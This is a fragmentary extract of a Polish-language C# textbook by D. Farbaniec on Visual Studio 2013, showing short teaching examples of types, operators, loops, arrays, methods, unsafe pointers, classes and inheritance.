Professional Documents
Culture Documents
Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych - D. Farbaniec (2015)
Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych - D. Farbaniec (2015)
Wydawnictwo HELION
ul. Kościuszki 1c, 44-100 GLIWICE
tel. 32 231 22 19, 32 230 98 63
e-mail: helion@helion.pl
WWW: http://helion.pl (księgarnia internetowa, katalog książek)
Drogi Czytelniku!
Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres
http://helion.pl/user/opinie/vs13ta_ebook
Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.
ISBN: 978-83-283-1505-1
Nie będę opisywał, jak zainstalować środowisko, gdyż sądzę, że osoba, która chce pro-
gramować, powinna sama sobie radzić z instalacją programów ― na dodatek środo-
wisko ma bardzo prosty i przyjazny instalator.
Typy zmiennoprzecinkowe
Typy zmiennoprzecinkowe i ich zakresy zostały przedstawione w tabeli 1.2.
Typ decimal
Jest to typ 128-bitowy używany do operacji pieniężnych, gdyż ma większą precyzję
i mniejszy zakres niż typy zmiennoprzecinkowe (tabela 1.3).
operatory,
zdarzenia,
delegaty,
klasy zagnieżdżone,
interfejsy,
struktury.
Interfejs
Interfejs zawiera w sobie sygnaturę metod, delegat, właściwości, indekserów i zdarzeń.
Może być zawarty w przestrzeni nazw lub klasie i dziedziczyć z jednego lub wielu
interfejsów bazowych. Więcej o interfejsach w dalszej części książki.
Delegaty
Deklaracja przykładowej delegaty prezentuje się następująco:
public delegate void TestDelegate(string message);
Obiekt
Jest to alias dla System.Object. Wszystkie typy pośrednio lub bezpośrednio dziedziczą
z obiektu.
Napis
Jest to sekwencja znaków Unicode. Typ ten jest aliasem dla System.String. Chociaż
to typ referencyjny, napisy możemy porównywać, używając operatorów == (równe)
oraz != (różne).
Warta uwagi jest właściwość HasValue, która przechowuje informację, czy dana zmienna
ma wartość (różną od null), czy może nie ma przypisanej wartości (zawiera null).
//Czy zmienna num ma jakąś wartość?
if(num.HasValue == false)
{
//Wykonaj, jeśli zmienna num nie ma wartości (ma wartość null)
Console.WriteLine("num == null");
}
else
{
//Wykonaj, jeśli zmienna num ma jakąś wartość (wartość różną od null)
Console.WriteLine("num == "+num.ToString());
}
Przykład użycia:
var number = 1; //number jest typu int
var text = "Witaj!"; //text jest typu string
var a1 = new int[3] { 1, 2, 3 }; //a1 jest tablicą liczb całkowitych (int)
var products = new List<string>() { "Produkt 1", "Produkt 2" }; //products jest listą napisów
Zmiennej możemy przypisać jakąś wartość za pomocą operatora przypisania (znak =):
Number = 100;
Można także od razu przy deklaracji przypisać zmiennej wartość, co nazywa się
inicjalizacją zmiennej:
int Number = 100;
Istnieje też coś takiego jak stałe, czyli wartości, które nie mogą zostać zmienione.
Deklarujemy je, używając słowa kluczowego const:
const int a = 100;
a = 50; //Błąd! Nie można modyfikować stałej!
Stałe mogą być tylko typy wbudowane. Stałe nie mogą być metody, właściwości ani
zdarzenia.
Oczywiście takie rzutowanie jak powyżej powoduje utracenie tego, co jest po kropce.
1.2. Komentarze
1.2.1. Komentarz blokowy
Komentarz blokowy zawieramy pomiędzy znakami /* oraz */. Tekst znajdujący się
pomiędzy tymi znakami jest ignorowany podczas kompilacji. Komentarzy blokowych
nie można zagnieżdżać (umieszczać jednego w drugim).
W tym przykładzie na konsolę wypisany zostanie napis kod_2, jeżeli warunek y > 20
będzie miał wartość fałsz. Jeżeli chcesz uzależnić kod_2 od warunku x > 10, użyj
klamer:
if (x > 10)
{
if (y > 20)
Console.Write("kod_1");
}
else
Console.Write("kod_2");
W powyższym kodzie wyświetlony zostanie napis kod_2, gdy warunek x > 10 będzie
miał wartość fałsz.
class Program
{
static void Main(string[] args)
{
bool b = true;
if (b == true)
Console.WriteLine("b jest prawdą");
else
Console.WriteLine("b jest fałszem");
}
}
class Program
{
static void Main(string[] args)
{
bool b = true;
if (b)
Console.WriteLine("b jest prawdą");
else
Console.WriteLine("b jest fałszem");
}
}
...
else
kod _n;
Możemy dzięki temu sprawdzić kilka warunków i dla każdego z nich wykonać od-
powiednie instrukcje programu.
Jest jeszcze jedna rzecz do opisania. Chodzi mianowicie o sprawdzenie kilku wyrażeń
w jednej instrukcji if. Można wtedy użyć operatorów takich jak: && (koniunkcja), ||
(alternatywa) lub ! (negacja). Spójrz na poniższy przykład:
using System;
class Program
{
static void Main(string[] args)
{
int i = 57;
bool b = true;
if (i > 0 && i < 100)
Console.WriteLine("i jest z przedziału 0 do 100");
i = -4;
if (i == 0 || i < 0)
Console.WriteLine("i jest równe 0 lub mniejsze od zera");
if (!b == false)
Console.WriteLine("b jest prawdą");
}
}
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Kawa: 1=Mała 2=Średnia 3=Duża");
Console.Write("Twój wybór: ");
string s = Console.ReadLine();
int n = int.Parse(s);
int cost = 0;
switch (n)
{
case 1:
cost += 25;
break;
case 2:
cost += 25;
goto case 1;
case 3:
cost += 50;
goto case 1;
default:
Console.WriteLine("Błędny wybór. Wybierz 1, 2 lub 3.");
break;
}
if (cost != 0)
{
Console.WriteLine("Proszę wrzucić {0} złotych monet.", cost);
}
Console.WriteLine("Dziękuję.");
}
}
1.5. Operatory
Język C# dostarcza zestaw operatorów, które są symbolami wykonującymi określone
operacje w wyrażeniach. Dodatkowo wiele operatorów może być przeciążonych dla
typów zdefiniowanych przez programistę. Istnieje też coś takiego jak priorytet ope-
ratora, który określa, jaki operator ma pierwszeństwo przed innym. Niżej opisane
operatory zostały ułożone od najwyższego priorytetu do najniższego.
Rozdział 1. Język C# 19
1.5.1. Podstawowe
Operator x.y
Operator kropki jest używany do uzyskiwania dostępu do składowych typu lub prze-
strzeni nazw. Na przykład często używa się go, aby mieć dostęp do metod pochodzących
z bibliotek klas:
//Klasa Console jest w przestrzeni nazw System
System.Console.WriteLine("witaj");
Operator ()
Operator używany do określenia kolejności wykonywania działań w wyrażeniach,
wywoływania funkcji, ale także do rzutowania typów, na przykład:
double x = 1234.7;
int a;
a = (int)x; //rzutowanie typu double na typ int
Operator a[x]
Operator używany przy tablicach, indekserach i atrybutach. Może być także używany
do dostępu do wskaźników. Typ tablicy poprzedzamy znakami [ ]:
int[] t; //tablica liczb typu int
t = new int[10]; //utwórz tablicę 10-elementową
Jeżeli chcemy mieć dostęp do elementu tablicy, to podajemy jego indeks w nawiasach
kwadratowych:
t[3] = 7; //Element o indeksie 3 przyjmuje wartość 7
Operator ++
Operator inkrementacji. Zwiększa wartość operandu o jeden. Może występować przed
operandem (inkrementacja prefiksowa) lub po operandzie (inkrementacja postfiksowa).
Oto przykład:
using System;
class MainClass
{
static void Main()
{
double x;
x = 1.5;
Console.WriteLine(++x);
x = 1.5;
Console.WriteLine(x++);
Console.WriteLine(x);
}
}
20 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Operator --
Operator dekrementacji. Zmniejsza wartość operandu o jeden. Tak jak operator in-
krementacji, może być prefiksowy lub postfiksowy. Na przykład:
using System;
class MainClass
{
static void Main()
{
double x;
x = 1.5;
Console.WriteLine(--x);
x = 1.5;
Console.WriteLine(x--);
Console.WriteLine(x);
}
}
Wyjście:
0.5
1.5
0.5
Operator new
Używa się go do tworzenia obiektów i wywoływania konstruktorów:
Class1 object1 = new Class1(); //tworzy obiekt object1 klasy Class1
Operator typeof
Zwraca typ obiektu podanego za parametr, na przykład:
System.Type type = typeof(int);
Operator checked
Pozwala sprawdzić, czy nastąpiło przepełnienie przy operacjach arytmetycznych i kon-
wersjach.
Rozdział 1. Język C# 21
Operator unchecked
Pozwala sprawdzić, czy nastąpiło przepełnienie przy operacjach arytmetycznych i konwer-
sjach. Ignoruje przepełnienie.
Operator ->
Operator ten jest używany do dereferencji i do uzyskiwania dostępu do składowych. Ope-
rator ten może być użyty tylko w kodzie niezarządzanym. Przykład dla tego operatora:
using System;
struct Point
{
public int x, y;
}
class MainClass
{
unsafe static void Main()
{
Point pt = new Point();
Point* pp = &pt;
pp->x = 123;
pp->y = 456;
Console.WriteLine ( "{0} {1}", pt.x, pt.y );
}
}
1.5.2. Jednoargumentowe
Operator +
Operator ten jest używany do określenia znaku liczby. Jest też jednocześnie operato-
rem dodawania. Wartość operatora + i operandu jest po prostu wartością operandu.
Operator ten jest też używany do łączenia dwóch napisów.
Przykład:
using System;
class MainClass
{
static void Main()
{
Console.WriteLine(+5); //znak plus
Console.WriteLine(5 + 5); //dodawanie
Console.WriteLine(5 + .5); //dodawanie
Console.WriteLine("5" + "5"); //łączenie napisów
Console.WriteLine(5.0 + "5"); //łączenie napisów
//Zauważ automatyczną konwersję z double na typ string
}
}
22 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Operator -
Operator ten jest używany do określenia liczby ujemnej. Używa się go także do
odejmowania i usuwania delegat. Można go także przeciążyć.
Operator !
Operator negacji. Używany dla typów logicznych. Zwraca fałsz, jeżeli operand miał
wartość prawda, i odwrotnie.
Operator ~
Odwraca bity w podanych operandzie. Na przykład:
using System;
class MainClass
{
static void Main()
{
int[] values = { 0, 0x111, 0xfffff, 0x8888, 0x22000022};
foreach (int v in values)
{
Console.WriteLine("~0x{0:x8} = 0x{1:x8}", v, ~v);
}
}
}
Wyjście programu:
~0x00000000 = 0xffffffff
~0x00000111 = 0xfffffeee
~0x000fffff = 0xfff00000
~0x00008888 = 0xffff7777
~0x22000022 = 0xddffffdd
Operator &
Zwraca adres operandu, jeżeli pracujemy ze wskaźnikami. Jest to też operator ko-
niunkcji przy wyrażeniach logicznych. Przykład:
using System;
class MainClass
{
static void Main()
{
Console.WriteLine(true & false); //logical and
Console.WriteLine(true & true); //logical and
Console.WriteLine("0x{0:x}", 0xf8 & 0x3f); //bitwise and
}
}
Wyjście programu:
False
True
0x38
Rozdział 1. Język C# 23
Operator sizeof
Zwraca rozmiar typu w bajtach. Na przykład pobranie rozmiaru typu int wygląda tak:
int intSize = sizeof(int);
Operator /
Dzieli pierwszy operand przez drugi.
Operator %
Zwraca resztę z dzielenia pierwszego operandu przez drugi.
1.5.4. Przesunięcia
Operator <<
Przesuwa bity pierwszego operandu w lewo o liczbę podaną jako drugi operand. Drugi
operand musi być typu int. Na przykład:
using System;
class MainClass
{
static void Main()
{
int i = 1;
long lg = 1;
Console.WriteLine("0x{0:x}", i << 1);
Console.WriteLine("0x{0:x}", i << 33);
Console.WriteLine("0x{0:x}", lg << 33);
}
}
Operator >>
Przesuwa bity pierwszego operandu w prawo o liczbę podaną jako drugi operand. Na
przykład:
using System;
class MainClass
{
static void Main()
{
24 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
int i = -1000;
Console.WriteLine(i >> 3);
}
}
Operator >
Operator porównuje dwa operandy i zwraca prawdę, jeżeli pierwszy operand jest
większy od drugiego, w przeciwnym wypadku zwraca fałsz.
Operator <=
Operator porównuje dwa operandy i zwraca prawdę, jeżeli pierwszy operand jest
mniejszy od drugiego lub mu równy, w przeciwnym wypadku zwraca fałsz.
Operator >=
Operator porównuje dwa operandy i zwraca prawdę, jeżeli pierwszy operand jest
większy od drugiego, w przeciwnym wypadku zwraca fałsz.
Operator is
Sprawdza, czy obiekt jest kompatybilny z podanym typem. Na przykład jeżeli chcemy
sprawdzić, czy obiekt jest kompatybilny z typem string, piszemy:
if (obj is string)
{
}
Operator as
Używany do konwersji pomiędzy kompatybilnymi typami referencyjnymi, na przykład:
string s = someObject as string;
if (s != null)
{
//someObject jest typu string.
}
Rozdział 1. Język C# 25
Operator !=
Operator zwraca prawdę, jeżeli podane operandy są różne, w przeciwnym wypadku
zwraca fałsz.
Operacja:
x && y
jest równoważna:
x & y
z jednym wyjątkiem: gdy x jest fałszem, to nie jest sprawdzana wartość y, ponieważ
jakakolwiek by była, wartość wyrażenia i tak będzie fałszem.
Operacja:
x || y
jest równoważna:
x | y
z jednym wyjątkiem: gdy x jest prawdą, to nie jest sprawdzana wartość y, ponieważ
jakakolwiek by była, wartość wyrażenia i tak będzie prawdą.
Jeżeli warunek jest prawdziwy, zwracane jest pierwsze wyrażenie, a jeśli fałszywy ―
drugie wyrażenie.
Na przykład:
string resultString = (myInteger < 10) ? Mniejsze od 10
: Większe lub równe 10 ;
1.5.13. Przypisania
Operator =
Operator ten przypisuje wartość z prawej strony do wyrażenia z lewej strony. Operandy
muszą być kompatybilnego typu lub typu możliwego do przekonwertowania. Na
przykład:
Rozdział 1. Język C# 27
using System;
class MainClass
{
static void Main()
{
double x;
int i;
i = 5; //przypisanie typu int do typu int
x = i; //niejawna konwersja int na double
i = (int)x; //wymaga rzutowania
}
}
Na przykład zapis:
x = x + 5;
Operator ??
Zwraca lewy operand, jeżeli wyrażenie jest różne od zera, w przeciwnym wypadku
zwraca prawy operand. Na przykład:
int? x = null;
int y = x ?? -1; //y będzie miało wartość -1, bo x ma wartość null
28 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
1.6. Pętle
W programowaniu często zachodzi potrzeba wykonania czegoś więcej niż raz. W tym
pomogą nam niżej opisane pętle.
W poniższym przykładzie pętla wykonuje się, dopóki wartość zmiennej x jest mniejsza
niż 5:
using System;
class Program
{
static void Main()
{
int x = 0;
do
{
Console.WriteLine(x);
x++;
} while (x < 5);
}
}
Wyjście:
0
1
2
3
4
Pętla ta zawsze wykona się przynajmniej raz, gdyż jej warunek sprawdzany jest na
końcu pętli. Możesz ją przerwać słowem break, przejść do sprawdzania wartości wy-
rażenia słowem continue lub wyjść z pętli poprzez słowo goto, return lub throw.
using System;
class Program
{
static void Main()
{
for (int i = 1; i <= 5; i++)
{
Console.WriteLine(i);
}
}
}
Wyjście:
1
2
3
4
5
Sekcja warunkowa zawiera wyrażenie logiczne, od którego wartości zależy, czy pętla
ma się wykonać jeszcze raz, czy zakończyć.
Sekcja interacyjna decyduje o tym, co ma się wykonać po każdym obrocie pętli (iteracji).
Może zawierać:
przypisanie,
wywołanie metody,
inkrementację lub dekrementację,
utworzenie obiektu słowem new,
wyrażenie await (usypia wykonywanie metody, dopóki nie wykonają się
oczekujące zadania).
Wnętrze pętli może zawierać instrukcję lub kilka instrukcji, które należy ująć w na-
wiasy klamrowe.
A oto przykład:
using System;
class Program
{
static void Main()
{
int i;
int j = 10;
for (i = 0, Console.WriteLine("Start: {0}", i);
i < j;
i++, j--, Console.WriteLine("i={0}, j={1}", i, j))
{
//wnętrze pętli
}
}
}
Rozdział 1. Język C# 31
Wyjście programu:
Start: 0
i=1, j=9
i=2, j=8
i=3, j=7
i=4, j=6
i=5, j=5
Wszystkie wyrażenia w pętli for są opcjonalne, dlatego nie musimy ich podawać. Pętla
bez wyrażeń będzie wyglądała tak jak poniżej i będzie pętlą nieskończoną:
for (; ; )
{
//...
}
Pętlę foreach możesz przerwać słowem break, przejść do następnej iteracji słowem
continue lub wyjść z pętli słowem goto, return lub throw.
class Program
{
static void Main()
{
int[] array1 = new int[] { 1, 2, 3, 4, 5 };
foreach (int i in array1)
{
System.Console.WriteLine(i);
}
}
}
Wyjście:
1
2
3
4
5
32 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Przykład:
using System;
class Program
{
static void Main()
{
int n = 1;
while (n < 6)
{
Console.WriteLine("Aktualna wartość n to {0}", n);
n++;
}
}
}
Wyjście:
Aktualna wartość n to 1
Aktualna wartość n to 2
Aktualna wartość n to 3
Aktualna wartość n to 4
Aktualna wartość n to 5
Jako że sprawdzanie wyrażenia następuje przed instrukcjami, pętla wykona się zero
lub więcej razy (w przeciwieństwie do pętli do-while, która wykona się jeden lub
więcej razy).
Z pętli można wyjść słowem break, goto, return lub throw, a przejść do następnej ite-
racji słowem continue.
Przykład dla pętli for, która liczy od jeden do stu, ale przy piątym kroku słowo break
przerywa pętlę:
using System;
class Program
{
static void Main()
{
for (int i = 1; i <= 100; i++)
Rozdział 1. Język C# 33
{
if (i == 5) //Gdy i == 5, przerwij
{
break;
}
Console.WriteLine(i);
}
}
}
Wyjście:
1
2
3
4
continue
Przekazuje sterowanie do kolejnej iteracji w pętli, w której się znajduje.
Przykład:
using System;
class Program
{
static void Main()
{
for (int i = 1; i <= 10; i++)
{
if (i < 9)
{
continue;
}
Console.WriteLine(i);
}
}
}
Wyjście:
9
10
goto
Przekazuje kontrolę do określonej etykiety. Bardzo przydatne, gdy chcemy wyjść z kilku
zagnieżdżonych pętli.
Przykład:
using System;
class Program
{
34 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Wyjście:
jestem poza pętlą
return
Kończy wykonywanie metody, w której występuje, i przekazuje kontrolę do metody
wywołującej. To słowo kluczowe może być też użyte do wyjścia z pętli.
class Program
{
static double CalculateArea(int r)
{
double area = r * r * Math.PI;
return area; //Zwróć wynik obliczeń
}
Wyjście:
Pole wynosi 78.54
throw
Służy do rzucania wyjątków, czyli obsługi sytuacji anormalnych. Jaki to ma związek
z pętlami? Otóż wyjątek przerwie wykonywanie pętli.
Rozdział 1. Język C# 35
class Program
{
static int GetNumber(int index)
{
int[] nums = { 300, 600, 900 };
if (index > nums.Length)
{
throw new IndexOutOfRangeException();
}
return nums[index];
1.7. Tablice
Tablica to struktura danych zawierająca kilka zmiennych tego samego typu. Deklarujemy
ją następująco:
type[] arrayName;
class Program
{
static void Main()
{
//deklaracja tablicy jednowymiarowej
int[] array1 = new int[5];
class Program
{
static void PrintArray(string[] arr)
{
for (int i = 0; i < arr.Length; i++)
{
System.Console.Write(arr[i] + "{0}", i < arr.Length - 1 ? " " : "");
}
System.Console.WriteLine();
}
class Program
{
static void Print2DArray(int[,] arr)
{
//Wypisz elementy tablicy
for (int i = 0; i < arr.GetLength(0); i++)
{
for (int j = 0; j < arr.GetLength(1); j++)
{
System.Console.WriteLine("Element({0},{1})={2}", i, j, arr[i, j]);
}
}
}
Tablice, tak jak pojedyncze zmienne, mogą być również przekazywane przez wartość
lub przez referencję.
Właściwość Length
Zwraca długość tablicy (liczbę elementów).
Przykład użycia:
string[] days = new string[] { "Mo", "Tu", "We", "Th", "Fr" };
Console.WriteLine(days.Length); //wypisze 5
Właściwość Rank
Zwraca liczbę wymiarów tablicy.
Przykład użycia:
int[,] array1 = new int[4, 2] { { 1, 2 }, { 3, 4 }, { 5, 6 }, { 7, 8 } };
Console.WriteLine(array1.Rank); //wypisze 2
38 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Metoda BinarySearch()
Wyszukiwanie binarne w tablicy. Pierwszy parametr to tablica, a drugi to szukana
wartość. Funkcja zwraca numer indeksu, na którym występuje szukana wartość. Gdy nie
znajdzie wartości, zwraca liczbę ujemną.
Przykład użycia:
string[] days = new string[] { "Mo", "Tu", "We", "Th", "Fr" };
Console.WriteLine(Array.BinarySearch(days, "We")); //wypisze 2
Metoda Clear()
Ustawia określoną liczbę elementów w tablicy na wartość 0, false lub null, zależnie
od typu elementu. Pierwszy parametr to tablica, drugi ― indeks początkowy, a trzeci
― indeks końcowy.
Przykład użycia:
string[] days = new string[] { "Mo", "Tu", "We", "Th", "Fr" };
Array.Clear(days, 0, days.Length);
Metoda Clone()
Tworzy kopię tablicy, z której została wywołana.
Przykład użycia:
string[] days = new string[] { "Mo", "Tu", "We", "Th", "Fr" };
string[] days2 = (string[]) days.Clone();
Metoda Copy()
Kopiuje określoną liczbę elementów z jednej tablicy do drugiej. Pierwszy parametr to
tablica źródłowa, drugi to tablica docelowa, a trzeci ― liczbę elementów.
Przykład użycia:
string[] days = new string[] { "Mo", "Tu", "We", "Th", "Fr" };
string[] days2 = new string[days.Length];
Array.Copy(days, days2, days.Length);
Metoda Find()
Przeszukuje tablicę w celu znalezienia pierwszego elementu spełniającego podane
kryteria. Kryteria określenia elementu jako pasujący zależą od napisanej przez nas
metody sprawdzającej.
class Program
Rozdział 1. Język C# 39
{
static void Main()
{
int[] numbers = new int[] { 3, 8, 7, 5 };
int first = Array.Find(numbers, FindNum);
Console.WriteLine(first); //wypisze 8
}
static bool FindNum(int a)
{
if (a % 2 == 0)
return true;
else
return false;
}
}
Metoda FindAll()
Przeszukuje tablicę w celu znalezienia wszystkich elementów spełniających podane
kryteria.
class Program
{
static void Main()
{
int[] numbers = new int[] { 3, 8, 7, 5, 2, 4 };
int[] even = Array.FindAll(numbers, FindNum);
for (int i = 0; i < even.Length; i++)
Console.WriteLine(even[i]);
}
static bool FindNum(int a)
{
if (a % 2 == 0)
return true;
else
return false;
}
}
Metoda Initialize()
Inicjalizuje tablicę wartościami zero, false lub null, zależnie od typu elementu.
Przykład użycia:
array1.Initialize();
Metoda IndexOf()
Zwraca indeks określonego elementu.
40 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Przykład użycia:
string[] days = new string[] { "Mo", "Tu", "We", "Th", "Fr" };
Console.WriteLine(Array.IndexOf(days, "Th")); //wypisze 3
Metoda Resize()
Zmienia rozmiar tablicy. Pierwszy parametr to nazwa tablicy poprzedzona słowem
ref, a drugi to nowy rozmiar dla tablicy.
Przykład użycia:
Array.Resize(ref array1, array1.Length + 5);
Metoda Reverse()
Odwraca kolejność elementów tablicy.
Przykład użycia:
int[] array1 = new int[] { 1, 2, 3, 4, 5 };
foreach (int i in array1)
Console.Write(i+" ");
Console.WriteLine();
Array.Reverse(array1); //Odwróć tablicę
foreach (int i in array1)
Console.Write(i+" ");
Metoda Sort()
Sortuje elementy tablicy jednowymiarowej.
Przykład użycia:
int[] array1 = new int[] { 7, 2, 4, 1, 5 };
Array.Sort(array1); //Sortuj tablicę
foreach (int i in array1)
Console.Write(i + " ");
1.8. Metody
Metoda to blok kodu zawierający ciąg instrukcji. Program wykonuje instrukcje po-
przez wywołanie metody i określenie wymaganych parametrów (chyba że metoda ich
nie wymaga). W języku C# każda instrukcja jest wykonywana w kontekście metody.
Metoda o nazwie Main jest punktem wejścia każdej aplikacji napisanej w C# i jest
wywoływana przez CLR (Common Language Runtime).
Rozdział 1. Język C# 41
Najpierw wpisujemy typ wyniku, jaki zwraca dana metoda, a jeżeli ma nie zwracać
wyniku, wpisujemy typ void. Dalej występuje nazwa metody, a po niej w nawiasach
typy i nazwy poszczególnych parametrów oddzielone przecinkami (chyba że metoda
nie przyjmuje argumentów). Nazwę metody i listę parametrów nazywamy sygnaturą.
Na końcu w klamrach podajemy instrukcje, a po nich słowo return i wynik, jaki me-
toda ma zwrócić (chyba że wartość zwracana jest typu void, wtedy nie wymaga się
słowa return).
Metodę wywołujemy, podając jej nazwę wraz z nawiasami, w których znajdują się
argumenty oddzielone przecinkiem. Wywołanie kończymy średnikiem. Jeżeli chcemy
przypisać wynik metody do zmiennej, piszemy:
var1 = Method1(arg1, arg2); //Przypisanie wyniku metody Method1 zmiennej var1
Przykładowy program z metodą o nazwie Square, która podnosi liczbę przyjętą za ar-
gument do potęgi drugiej:
using System;
class Program
{ //Metoda podnosi liczbę do potęgi drugiej
static int Square(int a)
{
return a * a;
}
Wyjście:
5*5 = 25
Pewnie zauważyłeś przed metodą słowo static. Więcej o nim przeczytasz w roz-
dziale o programowaniu obiektowym, ale w prostych słowach można napisać, że metoda,
która nie jest wywoływana na rzecz obiektu, musi być statyczna.
42 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
1.9. Wskaźniki
1.9.1. Kod nienadzorowany (ang. unsafe code)
Język C# domyślnie nie obsługuje arytmetyki wskaźników. Jednak używając słowa
kluczowego unsafe, można zdefiniować kontekst, w którym będą używane wskaźniki.
Rozdział 1. Język C# 43
Typami wskaźnikowymi mogą być: sbyte, byte, short, ushort, int, uint, long, ulong,
char, float, double, decimal, bool, typ wyliczeniowy enum lub struktura składająca się
z niezarządzanych typów.
Typy wskaźnikowe nie dziedziczą z typu obiektu i nie ma możliwości konwersji po-
między typem wskaźnikowym a obiektem.
class Program
{
static unsafe void Main()
{
int x = 100; //zmienna x o wartości 100
int* ptr = &x; //Wskaźnikowi na int przypisujemy adres zmiennej x
Console.WriteLine((int)&ptr); //Wyświetlamy adres (musimy rzutować na int)
Console.WriteLine(*ptr); //Wyświetlamy wartość
}
}
44 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Operator *
Operator dereferencji, czyli pobrania wartości z określonego adresu.
Operator ->
Operator dostępu do pola struktury przez wskaźnik.
Operator []
Operator indeksowania.
Operator &
Operator określający adres zmiennej.
Operator ++ i --
Inkrementacja i dekrementacja wskaźnika.
Operator + i -
Arytmetyka wskaźników.
Klasą jest samochód i ma on takie cechy jak na przykład model czy moc silnika.
Obiektem klasy jest wtedy konkretny samochód o określonych cechach.
Słowo kluczowe class jest poprzedzone słowem public, jest to modyfikator dostępu.
Modyfikatory dostępu zostaną szerzej opisane w dalszej części książki. Na razie wy-
starczy wiedzieć, że słowo public przed klasą pozwala każdemu tworzyć obiekty tej
Rozdział 1. Język C# 45
klasy. W nawiasach klamrowych będą składowe klasy, takie jak na przykład pola czy
metody.
Zadeklarujmy sobie teraz jakieś pola i metody dla klasy Car (samochód):
public class Car
{
public string Model;
public int Power;
public void StartEngine()
{
Console.WriteLine("Silnik uruchomiony.");
}
public void Drive(int speed)
{
Console.WriteLine("Poruszam się z prędkością {0} km/h.", speed);
}
public void Stop()
{
Console.WriteLine("Samochód zatrzymany. Silnik wyłączony.");
}
}
Jak widać, nasze auto to subaru impreza, a moc jego silnika to 300 koni mechanicznych.
}
public void Drive(int speed)
{
Console.WriteLine("Poruszam się z prędkością {0} km/h.", speed);
}
public void Stop()
{
Console.WriteLine("Samochód zatrzymany. Silnik wyłączony.");
}
}
class Program
{
static void Main()
{
Car mySubaru = new Car();
mySubaru.Model = "Subaru Impreza";
mySubaru.Power = 300;
mySubaru.StartEngine();
mySubaru.Drive(120);
mySubaru.Stop();
}
}
class Program
{
static void Main()
{
Class1 class1 = new Class1();
class1.SetAB(2, 4);
class1.GetAB();
}
}
Rozdział 1. Język C# 47
nie jest potrzebna, gdyż konstruktor przy tworzeniu obiektu ustawi nam model naszego
samochodu.
Jeżeli przed wykonaniem operacji chcemy wywołać inny konstruktor tej samej klasy,
to piszemy:
using System;
public class A
{
public A(int i)
{
System.Console.Write("i = " + i + "\n");
}
public A(char c) : this(5) //Najpierw wywoła konstruktor A(5)
{
System.Console.Write("c = " + c + "\n");
}
}
class Program
{
static void Main()
{
A a = new A('a'); //Utwórz obiekt
}
}
Destruktory występują tylko w klasach, nie można ich dodać do struktur. Nie mogą być
przeciążane ani dziedziczone. Destruktor nie może być także wywołany, jest uru-
chamiany automatycznie.
1.10.2. Dziedziczenie
Dziedziczenie jest to przejmowanie pól, metod i innych składowych klasy bazowej
oraz dodanie własnych składowych.
Dobrym przykładem może być zwierzę, które będzie prezentowało klasę bazową Animal.
Jednym z rodzajów zwierząt jest pies. Zatem klasa Dog dziedziczy po klasie Animal.
Teraz utwórzmy klasę Dog dziedziczącą po klasie Animal z metodą Bark (szczekać)
oraz polem Breed (rasa):
public class Dog : Animal
{
public string Breed; //rasa psa
public void Bark()
{
Console.WriteLine("hau! hau!");
}
}
Każde zwierzę musi jeść, aby żyć, dlatego metoda Eat należy do klasy Animal. Jednak
nie każde zwierzę szczeka, dlatego metoda Bark musi należeć do klasy Dog.
Rozdział 1. Język C# 49
Teraz utwórzmy obiekt klasy Dog, określmy rasę psa i wywołajmy metodę Eat i Bark:
Dog dog1 = new Dog();
dog1.Breed = "Pitbull";
dog1.Eat("kość"); //To jest metoda z klasy bazowej (Animal)!
dog1.Bark();
class Program
{
static void Main()
{
Dog dog1 = new Dog();
dog1.Breed = "Pitbull";
dog1.Eat("kość"); //To jest metoda z klasy bazowej (Animal)!
dog1.Bark();
}
}
{
public void TurnOnLights()
{
Console.WriteLine("Światła włączone.");
}
public class Engine //klasa zagnieżdżona
{
public void StartEngine()
{
Console.WriteLine("Silnik uruchomiony.");
}
}
}
class Program
{
static void Main()
{
Car.Engine engine1 = new Car.Engine(); //obiekt silnika
Car car1 = new Car(); //obiekt samochodu
engine1.StartEngine();
car1.TurnOnLights();
}
}
W powyższym przykładzie mamy klasę samochodu o nazwie Car i klasę silnika o na-
zwie Engine. W klasie Car jest metoda włączająca światła (TurnOnLights), a w klasie
Engine metoda włączająca silnik (StartEngine). Obiekt klasy zagnieżdżonej tworzymy,
podając nazwę klasy bazowej i po kropce nazwę klasy zagnieżdżonej. Po uruchomieniu
powyższego przykładu powinieneś zobaczyć na ekranie tekst:
Silnik uruchomiony.
Światła włączone.
Na przykład:
using System;
class Program
{
static void Main()
{
Point point1 = new Point();
point1.SetXY(2, 4);
52 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
point1.GetXY();
}
}
Mamy klasę reprezentującą punkt. Ma ona pola X i Y, które są prywatne, dlatego utwo-
rzyliśmy metodę SetXY, która ustawia podane wartości współprzędnych w odniesieniu
do obiektu klasy Point.
Jeżeli chodzi o późne wiązanie, to jest ono używane, gdy deklarujesz obiekt, a dopiero
później musisz pobrać typ obiektu lub metody, jakie on zawiera. Wszystko będzie
wiadome w czasie wykonywania.
Na przykład:
Object objItems;
objItems = CreateObject("nazwa biblioteki DLL lub jednostki assembly");
Zarówno wczesne wiązanie, jak i późne wiązanie mają swoje wady i zalety, dlatego
wybór zależy tylko od Ciebie, programisto.
Rozdział 1. Język C# 53
Opakowywanie zmiennych
Jest to konwersja typów prostych na typ object. Gdy typ prosty jest opakowywany i staje
się obiektem, to jego wartość jest przechowywana na zarządzanej stercie.
Po co to wszystko? Dzięki temu każdy typ może być obiektem w języku C#.
public class A
{
public void Method1(int A)
{
Console.WriteLine("A = {0}", A);
}
public void Method1(int A, int B)
{
Console.WriteLine("A = {0}, B = {1}", A, B);
}
public void Method1(double A)
{
Console.WriteLine("A = {0}", A);
}
}
class Program
{
static void Main()
{
